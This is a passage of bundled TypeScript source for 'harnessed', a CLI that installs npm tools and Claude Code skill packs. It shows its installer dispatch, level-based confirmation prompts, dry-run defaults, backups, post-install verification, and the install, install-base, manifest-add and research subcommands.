(c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n const sp = await spawnCmd(ctx, cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n const sp = await spawnCmd(ctx, install.cmd, [])\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [])\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 contract 1 — dry-run default + double flag):\n// `harnessed install <name>` defaults to dry-run preview; explicit `--apply`\n// or interactive `y/yes` is required to mutate. For automation (CI / scripts),\n// callers MUST pass BOTH `--non-interactive --apply` (or `--non-interactive\n// --dry-run`) — passing only `--apply` in non-TTY contexts is ambiguous, and\n// passing only `--non-interactive` would block on @clack/prompts forever\n// because stdin is not a TTY (Clack does not auto-decline).\n//\n// IMPL NOTE (H1 sister review fix — pre-action flag validation): we validate\n// the flag combination BEFORE invoking the installer. `--non-interactive`\n// without an explicit apply/dry-run choice would otherwise reach\n// confirmAt() / spawnCmd() and deadlock waiting for a prompt response that\n// will never arrive. Failing fast with exit 2 + actionable hint avoids the\n// \"harnessed hangs in CI\" footgun.\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / flag-missing / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (dry-run by default — pass --apply to execute)')\n .option('--apply', 'execute the install (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n // H1 pre-action flag gate (see file header IMPL NOTE).\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(process.cwd(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(process.cwd(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(` fix: run 'harnessed audit' to inspect manifest issues`)\n process.exit(1)\n }\n\n const opts: InstallOpts = {\n apply: raw.apply === true,\n dryRun: raw.dryRun === true,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(`installed ${v.manifest.metadata.name}${version ? `@${version}` : ''}`)\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - H1 gate: --non-interactive 必须配 --apply / --dry-run, 否则 exit 2.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description('Install the phase 1.3 base profile (auto-glob manifests; dry-run by default)')\n .option('--apply', 'execute the install (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n const opts: InstallOpts = {\n apply: raw.apply === true,\n dryRun: raw.dryRun === true,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(process.cwd())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / skipped (deferred phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description('Add a new upstream adapter (EE-5 5-question merge gate, D-03 BOTH dry-run/apply)')\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option('--apply', 'persist EE-5 answers (default: dry-run preview)')\n .option('--dry-run', 'force dry-run (overrides --apply if both set)')\n .option('--non-interactive', 'CI/scripts — requires --apply or --dry-run; WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(\n '[ee-5-gate] WARN: --non-interactive skips 5-question prompt (D-03 dry-run-only). plan-phase hard reject still applies.',\n )\n console.log(`[manifest-add] dry-run preview for upstream: ${upstream} → ${outPath}`)\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error('error: EE-5 gate requires non-empty answer')\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n if (raw.apply) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(`[manifest-add] EE-5 gate passed; wrote ${outPath}`)\n } else {\n console.log(`[manifest-add] EE-5 gate passed (dry-run); would write ${outPath}`)\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n// W-2 sister patch (D1.4-4 子决策): install adapter via library call —\n// engine.runRouting → ensureSkillsInstalled (lib/ralphLoop.ts) consumes\n// runInstall() directly when wired through opts.installAdapter (PLAN.md\n// § 4 接口契约 6); we **never** spawn `node ./dist/cli.mjs install` subprocess\n// (overlaps R1 Wave 1 spike + slower + cross-stack debug pain).\n// EngineResult three-state → exit codes:\n// 0 → ok (verbatim COMPLETE round-trip succeeded)\n// 1 → ok:false {phase: arbitrate|install|spawn|verbatim} (typed error)\n// 2 → aborted {reason} (max-iter exceeded / user-aborted)\n// H1 gate (sibling install-base.ts): --non-interactive requires --apply or --dry-run.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n query?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description('Run research workflow (search category sub-routing → spawn → verbatim COMPLETE)')\n .requiredOption('--query <text>', 'research prompt (required)')\n .option('--apply', 'execute the spawn (default: dry-run preview only)')\n .option('--dry-run', 'force dry-run (overrides --apply if both are set)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error('error: --query <text> is required')\n process.exit(2)\n }\n\n const taskCtx: TaskContext = { task: raw.query, task_type: 'search' }\n\n // Dry-run path: arbitrate-only preview, never spawn (mirrors install --dry-run).\n if (raw.dryRun === true || (!raw.apply && !raw.nonInteractive)) {\n const preview = await runRouting(taskCtx, {\n skillsRoot: undefined,\n // Stub spawn — dry-run never reaches it; explicit COMPLETE keeps shape happy.\n spawn: async () => 'dry-run preview\\nCOMPLETE',\n maxIterations: 1,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in preview) {\n console.error(`aborted: ${preview.reason}`)\n process.exit(2)\n }\n if ('ok' in preview && preview.ok === false) {\n console.error(`error: ${preview.phase} — ${preview.error.message}`)\n process.exit(1)\n }\n console.log(`[dry-run] matched_rule: ${preview.matchedRule?.id ?? '(fallback supervisor)'}`)\n console.log(`[dry-run] query: ${raw.query}`)\n console.log(' (use --apply to spawn the subagent and emit verbatim COMPLETE round-trip)')\n process.exit(0)\n }\n\n // --apply path: real spawn requires SDK runtime dep (F40-2 deferred to phase 1.5).\n // Until then, runRouting.defaultSpawn throws a friendly placeholder error.\n const result = await runRouting(taskCtx, {\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n 